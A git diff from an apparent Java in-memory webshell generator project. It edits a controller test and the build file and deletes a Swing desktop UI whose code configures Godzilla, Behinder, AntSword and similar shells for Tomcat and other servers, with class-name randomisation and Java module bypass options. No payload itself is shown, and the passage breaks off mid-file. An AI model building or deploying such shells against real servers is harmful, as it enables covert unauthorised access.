import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
@@ -15,8 +15,6 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -32,23 +30,6 @@ class MemShellGeneratorControllerTest {
@Test @Test
void generateShell() { void generateShell() {
MemShellGenerateRequest request = buildRequest("ScriptEngine", null);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
void generateJspxShellWithCustomConfig() {
MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true));
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
private static MemShellGenerateRequest buildRequest(String packerName, Map<String, Object> packerConfig) {
MemShellGenerateRequest request = new MemShellGenerateRequest(); MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder() request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat) .server(Server.Tomcat)
@@ -62,18 +43,16 @@ class MemShellGeneratorControllerTest {
request.setInjectorConfig(InjectorConfig.builder() request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*") .urlPattern("/*")
.build()); .build());
PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO(); request.setPacker(Packers.ScriptEngine);
packerRequestSpecDTO.setName(packerName);
if (packerConfig != null) {
packerRequestSpecDTO.setConfig(packerConfig);
}
request.setPackerSpec(packerRequestSpecDTO);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO(); MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key"); shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass"); shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent"); shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello"); shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO); request.setShellToolConfig(shellToolConfigDTO);
return request; ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
} }
} }
+1 -4
View File
@@ -1,7 +1,6 @@
plugins { plugins {
id("java") id("java")
id("idea") id("idea")
id("com.vanniktech.maven.publish") version "0.35.0" apply false
} }
idea { idea {
@@ -10,18 +9,16 @@ idea {
} }
} }
version = "2.7.0-SNAPSHOT" version = "2.7.1"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral") dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral") dependsOn(":generator:publishToMavenCentral")
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenCentral")
} }
tasks.register("publishAllToMavenLocal") { tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal") dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal") dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal") dependsOn(":generator:publishToMavenLocal")
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenLocal")
} }
-33
View File
@@ -1,33 +0,0 @@
plugins {
id("java")
id("application")
}
group = "com.reajason.javaweb"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation(project(":generator"))
implementation(project(":packer"))
implementation("com.formdev:flatlaf:3.7")
implementation("com.miglayout:miglayout-swing:5.3")
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
}
application {
mainClass.set("com.reajason.javaweb.desktop.memshell.MemShellDesktopApplication")
}
tasks.test {
useJUnitPlatform()
}
@@ -1,13 +0,0 @@
package com.reajason.javaweb.desktop.memshell;
import com.formdev.flatlaf.FlatLightLaf;
import com.reajason.javaweb.desktop.memshell.ui.MemShellGeneratorFrame;
import javax.swing.*;
public class MemShellDesktopApplication {
public static void main(String[] args) {
FlatLightLaf.setup();
SwingUtilities.invokeLater(() -> new MemShellGeneratorFrame().setVisible(true));
}
}
@@ -1,331 +0,0 @@
package com.reajason.javaweb.desktop.memshell.controller;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import com.reajason.javaweb.memshell.ShellTool;
import java.util.*;
public class MemShellFormController {
private final ConfigCatalogService configCatalogService;
private final MemShellValidator validator;
private final ConfigCatalogService.ConfigCatalog catalog;
private final MemShellFormState state = new MemShellFormState();
public MemShellFormController(ConfigCatalogService configCatalogService, MemShellValidator validator) {
this.configCatalogService = configCatalogService;
this.validator = validator;
this.catalog = configCatalogService.load();
reconcileAfterServerChange(true);
reconcilePackerSelection();
}
public ConfigCatalogService getConfigCatalogService() { return configCatalogService; }
public MemShellFormState getState() { return state; }
public ConfigCatalogService.ConfigCatalog getCatalog() { return catalog; }
public MemShellValidator getValidator() { return validator; }
public List<String> getServers() {
return new ArrayList<>(catalog.getServers().keySet());
}
public List<String> getServerVersionOptions() {
return configCatalogService.getServerVersionOptions(state.getServer());
}
public List<String> getShellTools() {
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null) return Collections.emptyList();
LinkedHashSet<String> tools = new LinkedHashSet<>(toolMap.keySet());
tools.add(ShellTool.Custom);
return new ArrayList<>(tools);
}
public List<String> getCustomShellTypes() {
List<String> values = catalog.getServers().get(state.getServer());
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
}
public List<String> getShellTypesForCurrentTool() {
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null) return Collections.emptyList();
if (ShellTool.Custom.equals(state.getShellTool())) {
return getCustomShellTypes();
}
List<String> values = toolMap.get(state.getShellTool());
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
}
public List<PackerEntryModel> getFilteredPackers() {
List<PackerEntryModel> out = new ArrayList<>();
for (PackerCategoryModel c : catalog.getPackers()) {
for (PackerEntryModel p : c.getPackers()) {
if (p.isCategoryAnchor()) continue;
String name = p.getName();
String shellType = state.getShellType();
String server = state.getServer();
if (shellType != null && shellType.startsWith("Agent")) {
if (name.startsWith("Agent")) out.add(p);
continue;
}
if (server != null && server.startsWith("XXL")) {
if (!name.startsWith("Agent")) out.add(p);
continue;
}
if (!name.startsWith("Agent") && !name.toLowerCase(Locale.ROOT).startsWith("xxl")) {
out.add(p);
}
}
}
return out;
}
public PackerEntryModel getSelectedPackerEntry() {
String selected = state.getPackingMethod();
if (selected == null || selected.trim().isEmpty()) return null;
for (PackerCategoryModel c : catalog.getPackers()) {
for (PackerEntryModel p : c.getPackers()) {
if (selected.equals(p.getName())) return p;
}
}
return null;
}
public List<PackerSchemaFieldModel> getSelectedPackerFields() {
PackerEntryModel p = getSelectedPackerEntry();
return p == null ? Collections.<PackerSchemaFieldModel>emptyList() : p.getFields();
}
public List<String> getCommandEncryptors() { return catalog.getCommandEncryptors(); }
public List<String> getCommandImplementationClasses() { return catalog.getCommandImplementationClasses(); }
public void setServer(String server) {
state.setServer(server);
reconcileAfterServerChange(false);
reconcilePackerSelection();
}
public void setServerVersion(String version) { state.setServerVersion(version); }
public void setTargetJdkVersion(String value) {
state.setTargetJdkVersion(value);
try {
state.setByPassJavaModule(Integer.parseInt(value) >= 53);
} catch (Exception ignored) {
}
}
public void setShellTool(String tool) {
handleShellToolChange(tool);
reconcilePackerSelection();
}
public void setShellType(String shellType) {
state.setShellType(shellType);
state.setUrlPattern("");
reconcilePackerSelection();
}
public void setUrlPattern(String urlPattern) { state.setUrlPattern(urlPattern); }
public void setDebug(boolean value) { state.setDebug(value); }
public void setProbe(boolean value) { state.setProbe(value); }
public void setByPassJavaModule(boolean value) { state.setByPassJavaModule(value); }
public void setLambdaSuffix(boolean value) { state.setLambdaSuffix(value); }
public void setShrink(boolean value) { state.setShrink(value); }
public void setStaticInitialize(boolean value) { state.setStaticInitialize(value); }
public void setGodzillaPass(String v) { state.setGodzillaPass(v); }
public void setGodzillaKey(String v) { state.setGodzillaKey(v); }
public void setBehinderPass(String v) { state.setBehinderPass(v); }
public void setAntSwordPass(String v) { state.setAntSwordPass(v); }
public void setCommandParamName(String v) { state.setCommandParamName(v); }
public void setCommandTemplate(String v) { state.setCommandTemplate(v); }
public void setHeaderName(String v) { state.setHeaderName(v); }
public void setHeaderValue(String v) { state.setHeaderValue(v); }
public void setShellClassBase64(String v) { state.setShellClassBase64(v); }
public void setEncryptor(String v) { state.setEncryptor(v); }
public void setImplementationClass(String v) { state.setImplementationClass(v); }
public void setShellClassName(String v) {
state.setShellClassName(v);
autoDisableRandomIfManualNames();
}
public void setInjectorClassName(String v) {
state.setInjectorClassName(v);
autoDisableRandomIfManualNames();
}
public void setRandomClassName(boolean checked) {
state.setRandomClassName(checked);
if (checked) {
state.setSavedShellClassName(state.getShellClassName());
state.setSavedInjectorClassName(state.getInjectorClassName());
state.setShellClassName("");
state.setInjectorClassName("");
} else {
state.setShellClassName(state.getSavedShellClassName());
state.setInjectorClassName(state.getSavedInjectorClassName());
}
}
public void setCustomInputMode(String mode) { state.setCustomInputMode(mode); }
public void setPacker(String packerName) {
state.setPackingMethod(packerName);
resetPackerCustomConfigToDefaults();
}
public void setPackerCustomField(String key, Object value) {
if (value == null) {
state.getPackerCustomConfig().remove(key);
} else {
state.getPackerCustomConfig().put(key, value);
}
}
public Map<String, Object> getPackerCustomConfig() { return state.getPackerCustomConfig(); }
public boolean isUrlPatternVisible() {
return validator.needsUrlPattern(state.getShellType());
}
public boolean isCommandHeaderVisible() {
return "BypassNginxWebSocket".equals(state.getShellType()) || "BypassNginxJakartaWebSocket".equals(state.getShellType());
}
public boolean isProxyHeaderVisible() { return isCommandHeaderVisible(); }
public boolean isCommandParamVisible() {
return state.getShellType() == null || !state.getShellType().contains("WebSocket");
}
public MemShellValidator.Result validate() { return validator.validate(state); }
private void reconcileAfterServerChange(boolean initial) {
List<String> serverVersions = getServerVersionOptions();
if (!serverVersions.contains(state.getServerVersion())) {
state.setServerVersion(serverVersions.get(0));
}
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null || toolMap.isEmpty()) {
return;
}
List<String> toolKeys = new ArrayList<>(toolMap.keySet());
String currentTool = state.getShellTool();
String nextTool = toolMap.containsKey(currentTool) ? currentTool : toolKeys.get(0);
state.setShellTool(nextTool);
String currentTargetJdk = state.getTargetJdkVersion();
int currentJdk = parseInt(currentTargetJdk, 50);
boolean raise = ("SpringWebFlux".equals(state.getServer()) || "XXLJOB".equals(state.getServer())) && currentJdk <= 52;
state.setTargetJdkVersion(raise ? "52" : "50");
state.setByPassJavaModule(parseInt(state.getTargetJdkVersion(), 50) >= 53);
if (!initial) {
state.setUrlPattern("");
}
if (!serverVersions.contains(state.getServerVersion())) {
state.setServerVersion(serverVersions.get(0));
}
ensureShellTypeValidForCurrentTool();
}
private void ensureShellTypeValidForCurrentTool() {
List<String> shellTypes = getShellTypesForCurrentTool();
if (shellTypes.isEmpty()) {
state.setShellType("");
return;
}
if (!shellTypes.contains(state.getShellType())) {
state.setShellType(shellTypes.get(0));
}
}
private void handleShellToolChange(String value) {
if (value == null || value.trim().isEmpty()) return;
state.setUrlPattern("");
state.setShellClassName("");
state.setInjectorClassName("");
if (ShellTool.Command.equals(value)) {
state.setCommandParamName("");
state.setImplementationClass("");
state.setEncryptor("");
} else if (ShellTool.Godzilla.equals(value)) {
state.setGodzillaKey("");
state.setGodzillaPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.Behinder.equals(value)) {
state.setBehinderPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.Suo5.equals(value) || ShellTool.Suo5v2.equals(value)) {
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.AntSword.equals(value)) {
state.setAntSwordPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.NeoreGeorg.equals(value)) {
state.setHeaderName("Referer");
state.setHeaderValue("");
} else if (ShellTool.Custom.equals(value)) {
state.setShellClassBase64("");
} else if (ShellTool.Proxy.equals(value)) {
state.setHeaderName("User-Agent");
state.setHeaderValue("");
}
state.setShellTool(value);
ensureShellTypeValidForCurrentTool();
}
private void reconcilePackerSelection() {
List<PackerEntryModel> filtered = getFilteredPackers();
if (filtered.isEmpty()) {
state.setPackingMethod("");
state.getPackerCustomConfig().clear();
return;
}
boolean exists = filtered.stream().anyMatch(p -> p.getName().equals(state.getPackingMethod()));
if (!exists) {
state.setPackingMethod(filtered.get(0).getName());
resetPackerCustomConfigToDefaults();
} else if (state.getPackerCustomConfig().isEmpty()) {
resetPackerCustomConfigToDefaults();
}
}
private void resetPackerCustomConfigToDefaults() {
state.getPackerCustomConfig().clear();
PackerEntryModel selected = getSelectedPackerEntry();
if (selected != null) {
state.getPackerCustomConfig().putAll(selected.getDefaultConfig());
}
}
private void autoDisableRandomIfManualNames() {
if (state.isRandomClassName() && (!state.getShellClassName().trim().isEmpty() || !state.getInjectorClassName().trim().isEmpty())) {
state.setRandomClassName(false);
}
if (!state.isRandomClassName()) {
state.setSavedShellClassName(state.getShellClassName());
state.setSavedInjectorClassName(state.getInjectorClassName());
}
}
private int parseInt(String v, int d) {
try {
return Integer.parseInt(v);
} catch (Exception e) {
return d;
}
}
}
@@ -1,25 +0,0 @@
package com.reajason.javaweb.desktop.memshell.model;
import com.reajason.javaweb.memshell.MemShellResult;
public class DesktopMemShellGenerateResult {
private final MemShellResult memShellResult;
private final String packMethod;
private final String packResult;
private final boolean jarOutput;
private final boolean agentOutput;
public DesktopMemShellGenerateResult(MemShellResult memShellResult, String packMethod, String packResult) {
this.memShellResult = memShellResult;
this.packMethod = packMethod;
this.packResult = packResult;
this.jarOutput = packMethod != null && packMethod.endsWith("Jar");
this.agentOutput = packMethod != null && packMethod.startsWith("Agent");
}
public MemShellResult getMemShellResult() { return memShellResult; }
public String getPackMethod() { return packMethod; }
public String getPackResult() { return packResult; }
public boolean isJarOutput() { return jarOutput; }
public boolean isAgentOutput() { return agentOutput; }
}
@@ -1,145 +0,0 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.LinkedHashMap;
import java.util.Map;
public class MemShellFormState {
private String server = "Tomcat";
private String serverVersion = "Unknown";
private String targetJdkVersion = "50";
private boolean debug;
private boolean byPassJavaModule;
private boolean probe;
private boolean lambdaSuffix;
private boolean shrink = true;
private boolean staticInitialize = true;
private String shellTool = "Godzilla";
private String shellType = "Listener";
private String urlPattern = "/*";
private String shellClassName = "";
private String injectorClassName = "";
private String godzillaPass = "";
private String godzillaKey = "";
private String behinderPass = "";
private String antSwordPass = "";
private String commandParamName = "";
private String commandTemplate = "";
private String headerName = "User-Agent";
private String headerValue = "";
private String shellClassBase64 = "";
private String encryptor = "";
private String implementationClass = "";
private String packingMethod = "";
private final Map<String, Object> packerCustomConfig = new LinkedHashMap<>();
private boolean randomClassName = true;
private String customInputMode = "base64";
private String savedShellClassName = "";
private String savedInjectorClassName = "";
public MemShellFormState copy() {
MemShellFormState c = new MemShellFormState();
c.server = server;
c.serverVersion = serverVersion;
c.targetJdkVersion = targetJdkVersion;
c.debug = debug;
c.byPassJavaModule = byPassJavaModule;
c.probe = probe;
c.lambdaSuffix = lambdaSuffix;
c.shrink = shrink;
c.staticInitialize = staticInitialize;
c.shellTool = shellTool;
c.shellType = shellType;
c.urlPattern = urlPattern;
c.shellClassName = shellClassName;
c.injectorClassName = injectorClassName;
c.godzillaPass = godzillaPass;
c.godzillaKey = godzillaKey;
c.behinderPass = behinderPass;
c.antSwordPass = antSwordPass;
c.commandParamName = commandParamName;
c.commandTemplate = commandTemplate;
c.headerName = headerName;
c.headerValue = headerValue;
c.shellClassBase64 = shellClassBase64;
c.encryptor = encryptor;
c.implementationClass = implementationClass;
c.packingMethod = packingMethod;
c.packerCustomConfig.putAll(packerCustomConfig);
c.randomClassName = randomClassName;
c.customInputMode = customInputMode;
c.savedShellClassName = savedShellClassName;
c.savedInjectorClassName = savedInjectorClassName;
return c;
}
public Map<String, Object> getPackerCustomConfig() { return packerCustomConfig; }
public String getServer() { return server; }
public void setServer(String server) { this.server = server; }
public String getServerVersion() { return serverVersion; }
public void setServerVersion(String serverVersion) { this.serverVersion = serverVersion; }
public String getTargetJdkVersion() { return targetJdkVersion; }
public void setTargetJdkVersion(String targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; }
public boolean isDebug() { return debug; }
public void setDebug(boolean debug) { this.debug = debug; }
public boolean isByPassJavaModule() { return byPassJavaModule; }
public void setByPassJavaModule(boolean byPassJavaModule) { this.byPassJavaModule = byPassJavaModule; }
public boolean isProbe() { return probe; }
public void setProbe(boolean probe) { this.probe = probe; }
public boolean isLambdaSuffix() { return lambdaSuffix; }
public void setLambdaSuffix(boolean lambdaSuffix) { this.lambdaSuffix = lambdaSuffix; }
public boolean isShrink() { return shrink; }
public void setShrink(boolean shrink) { this.shrink = shrink; }
public boolean isStaticInitialize() { return staticInitialize; }
public void setStaticInitialize(boolean staticInitialize) { this.staticInitialize = staticInitialize; }
public String getShellTool() { return shellTool; }
public void setShellTool(String shellTool) { this.shellTool = shellTool; }
public String getShellType() { return shellType; }
public void setShellType(String shellType) { this.shellType = shellType; }
public String getUrlPattern() { return urlPattern; }
public void setUrlPattern(String urlPattern) { this.urlPattern = urlPattern; }
public String getShellClassName() { return shellClassName; }
public void setShellClassName(String shellClassName) { this.shellClassName = shellClassName == null ? "" : shellClassName; }
public String getInjectorClassName() { return injectorClassName; }
public void setInjectorClassName(String injectorClassName) { this.injectorClassName = injectorClassName == null ? "" : injectorClassName; }
public String getGodzillaPass() { return godzillaPass; }
public void setGodzillaPass(String godzillaPass) { this.godzillaPass = nv(godzillaPass); }
public String getGodzillaKey() { return godzillaKey; }
public void setGodzillaKey(String godzillaKey) { this.godzillaKey = nv(godzillaKey); }
public String getBehinderPass() { return behinderPass; }
public void setBehinderPass(String behinderPass) { this.behinderPass = nv(behinderPass); }
public String getAntSwordPass() { return antSwordPass; }
public void setAntSwordPass(String antSwordPass) { this.antSwordPass = nv(antSwordPass); }
public String getCommandParamName() { return commandParamName; }
public void setCommandParamName(String commandParamName) { this.commandParamName = nv(commandParamName); }
public String getCommandTemplate() { return commandTemplate; }
public void setCommandTemplate(String commandTemplate) { this.commandTemplate = nv(commandTemplate); }
public String getHeaderName() { return headerName; }
public void setHeaderName(String headerName) { this.headerName = nv(headerName); }
public String getHeaderValue() { return headerValue; }
public void setHeaderValue(String headerValue) { this.headerValue = nv(headerValue); }
public String getShellClassBase64() { return shellClassBase64; }
public void setShellClassBase64(String shellClassBase64) { this.shellClassBase64 = nv(shellClassBase64); }
public String getEncryptor() { return encryptor; }
public void setEncryptor(String encryptor) { this.encryptor = nv(encryptor); }
public String getImplementationClass() { return implementationClass; }
public void setImplementationClass(String implementationClass) { this.implementationClass = nv(implementationClass); }
public String getPackingMethod() { return packingMethod; }
public void setPackingMethod(String packingMethod) { this.packingMethod = nv(packingMethod); }
public boolean isRandomClassName() { return randomClassName; }
public void setRandomClassName(boolean randomClassName) { this.randomClassName = randomClassName; }
public String getCustomInputMode() { return customInputMode; }
public void setCustomInputMode(String customInputMode) { this.customInputMode = nv(customInputMode); }
public String getSavedShellClassName() { return savedShellClassName; }
public void setSavedShellClassName(String savedShellClassName) { this.savedShellClassName = nv(savedShellClassName); }
public String getSavedInjectorClassName() { return savedInjectorClassName; }
public void setSavedInjectorClassName(String savedInjectorClassName) { this.savedInjectorClassName = nv(savedInjectorClassName); }
private static String nv(String v) { return v == null ? "" : v; }
}
@@ -1,15 +0,0 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.List;
public class PackerCategoryModel {
private String name;
private final List<PackerEntryModel> packers = new ArrayList<>();
public PackerCategoryModel() {}
public PackerCategoryModel(String name) { this.name = name; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public List<PackerEntryModel> getPackers() { return packers; }
}
@@ -1,30 +0,0 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class PackerEntryModel {
private String categoryName;
private String name;
private String outputKind;
private boolean categoryAnchor;
private final List<PackerSchemaFieldModel> fields = new ArrayList<>();
private final Map<String, Object> defaultConfig = new LinkedHashMap<>();
public String getCategoryName() { return categoryName; }
public void setCategoryName(String categoryName) { this.categoryName = categoryName; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public String getOutputKind() { return outputKind; }
public void setOutputKind(String outputKind) { this.outputKind = outputKind; }
public boolean isCategoryAnchor() { return categoryAnchor; }
public void setCategoryAnchor(boolean categoryAnchor) { this.categoryAnchor = categoryAnchor; }
public List<PackerSchemaFieldModel> getFields() { return fields; }
public Map<String, Object> getDefaultConfig() { return defaultConfig; }
public String displayLabel() {
return categoryName == null || categoryName.equals(name) ? name : categoryName + " / " + name;
}
}
@@ -1,43 +0,0 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.List;
public class PackerSchemaFieldModel {
public static class Option {
private String value;
private String label;
public Option() {}
public Option(String value, String label) {
this.value = value;
this.label = label;
}
public String getValue() { return value; }
public void setValue(String value) { this.value = value; }
public String getLabel() { return label; }
public void setLabel(String label) { this.label = label; }
}
private String key;
private String type;
private boolean required;
private Object defaultValue;
private String description;
private String descriptionI18nKey;
private final List<Option> options = new ArrayList<>();
public String getKey() { return key; }
public void setKey(String key) { this.key = key; }
public String getType() { return type; }
public void setType(String type) { this.type = type; }
public boolean isRequired() { return required; }
public void setRequired(boolean required) { this.required = required; }
public Object getDefaultValue() { return defaultValue; }
public void setDefaultValue(Object defaultValue) { this.defaultValue = defaultValue; }
public String getDescription() { return description; }
public void setDescription(String description) { this.description = description; }
public String getDescriptionI18nKey() { return descriptionI18nKey; }
public void setDescriptionI18nKey(String descriptionI18nKey) { this.descriptionI18nKey = descriptionI18nKey; }
public List<Option> getOptions() { return options; }
}
@@ -1,127 +0,0 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.spec.PackerFieldSchema;
import com.reajason.javaweb.packer.spec.PackerOptionValue;
import com.reajason.javaweb.packer.spec.PackerSchema;
import java.util.*;
import java.util.stream.Collectors;
public class ConfigCatalogService {
public static class ConfigCatalog {
private final Map<String, List<String>> servers;
private final Map<String, Map<String, List<String>>> core;
private final List<PackerCategoryModel> packers;
private final List<String> commandEncryptors;
private final List<String> commandImplementationClasses;
public ConfigCatalog(Map<String, List<String>> servers,
Map<String, Map<String, List<String>>> core,
List<PackerCategoryModel> packers,
List<String> commandEncryptors,
List<String> commandImplementationClasses) {
this.servers = servers;
this.core = core;
this.packers = packers;
this.commandEncryptors = commandEncryptors;
this.commandImplementationClasses = commandImplementationClasses;
}
public Map<String, List<String>> getServers() { return servers; }
public Map<String, Map<String, List<String>>> getCore() { return core; }
public List<PackerCategoryModel> getPackers() { return packers; }
public List<String> getCommandEncryptors() { return commandEncryptors; }
public List<String> getCommandImplementationClasses() { return commandImplementationClasses; }
}
public ConfigCatalog load() {
Map<String, List<String>> servers = new LinkedHashMap<>();
Map<String, Map<String, List<String>>> core = new LinkedHashMap<>();
for (String serverName : ServerFactory.getSupportedServers()) {
AbstractServer server = ServerFactory.getServer(serverName);
if (server == null) {
continue;
}
List<String> shellTypes = new ArrayList<>(server.getShellInjectorMapping().getSupportedShellTypes());
servers.put(serverName, shellTypes);
Map<String, List<String>> toolMap = new LinkedHashMap<>();
for (String tool : server.getSupportedShellTools()) {
List<String> types = new ArrayList<>(server.getSupportedShellTypes(tool));
if (!types.isEmpty()) {
toolMap.put(tool, types);
}
}
core.put(serverName, toolMap);
}
List<PackerCategoryModel> packerModels = new ArrayList<>();
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
PackerCategoryModel category = new PackerCategoryModel(entry.getKey());
for (Packers packerEnum : entry.getValue()) {
PackerEntryModel p = new PackerEntryModel();
p.setCategoryName(entry.getKey());
p.setName(packerEnum.name());
p.setOutputKind(packerEnum.getOutputKind());
p.setCategoryAnchor(packerEnum.hasChildren());
PackerSchema schema = packerEnum.getSchema();
if (schema != null) {
p.getDefaultConfig().putAll(schema.getDefaultConfig());
for (PackerFieldSchema field : schema.getFields()) {
PackerSchemaFieldModel f = new PackerSchemaFieldModel();
f.setKey(field.getKey());
f.setType(field.getType() == null ? null : field.getType().name());
f.setRequired(field.isRequired());
f.setDefaultValue(field.getDefaultValue());
f.setDescription(field.getDescription());
f.setDescriptionI18nKey(field.getDescriptionI18nKey());
for (PackerOptionValue option : field.getOptions()) {
f.getOptions().add(new PackerSchemaFieldModel.Option(option.getValue(), option.getLabel()));
}
p.getFields().add(f);
}
}
category.getPackers().add(p);
}
packerModels.add(category);
}
List<String> encryptors = Arrays.stream(CommandConfig.Encryptor.values()).map(Enum::name).collect(Collectors.toList());
List<String> impls = Arrays.stream(CommandConfig.ImplementationClass.values()).map(Enum::name).collect(Collectors.toList());
return new ConfigCatalog(servers, core, packerModels, encryptors, impls);
}
public List<String> getServerVersionOptions(String server) {
if ("TongWeb".equals(server)) {
return Arrays.asList("6", "7", "8");
}
if ("Jetty".equals(server)) {
return Arrays.asList("6", "7+", "12");
}
return Collections.singletonList("Unknown");
}
public List<String> getTargetJdkOptions() {
return Arrays.asList("50", "52", "53", "55", "61", "65");
}
public String getTargetJdkLabel(String value) {
if ("50".equals(value)) return "Java6";
if ("52".equals(value)) return "Java8";
if ("53".equals(value)) return "Java9";
if ("55".equals(value)) return "Java11";
if ("61".equals(value)) return "Java17";
if ("65".equals(value)) return "Java21";
return value;
}
}
@@ -1,22 +0,0 @@
package com.reajason.javaweb.desktop.memshell.service;
import net.bytebuddy.jar.asm.ClassReader;
import java.util.Base64;
public class CustomClassNameParser {
public String parseClassNameFromBase64(String classBase64) {
if (classBase64 == null || classBase64.trim().isEmpty()) {
throw new IllegalArgumentException("class base64 is empty");
}
byte[] bytes = Base64.getDecoder().decode(classBase64);
return parseClassName(bytes);
}
public String parseClassName(byte[] classBytes) {
if (classBytes == null || classBytes.length == 0) {
throw new IllegalArgumentException("class bytes are empty");
}
return new ClassReader(classBytes).getClassName().replace('/', '.');
}
}
@@ -1,147 +0,0 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.Map;
public class GenerationService {
public DesktopMemShellGenerateResult generate(MemShellFormState s) {
ShellConfig shellConfig = ShellConfig.builder()
.server(s.getServer())
.serverVersion(s.getServerVersion())
.shellTool(s.getShellTool())
.shellType(s.getShellType())
.targetJreVersion(parseInt(s.getTargetJdkVersion(), 50))
.debug(s.isDebug())
.byPassJavaModule(s.isByPassJavaModule())
.probe(s.isProbe())
.shrink(s.isShrink())
.lambdaSuffix(s.isLambdaSuffix())
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(blankToDefault(s.getUrlPattern(), "/*"))
.injectorClassName(blankToNull(s.getInjectorClassName()))
.staticInitialize(s.isStaticInitialize())
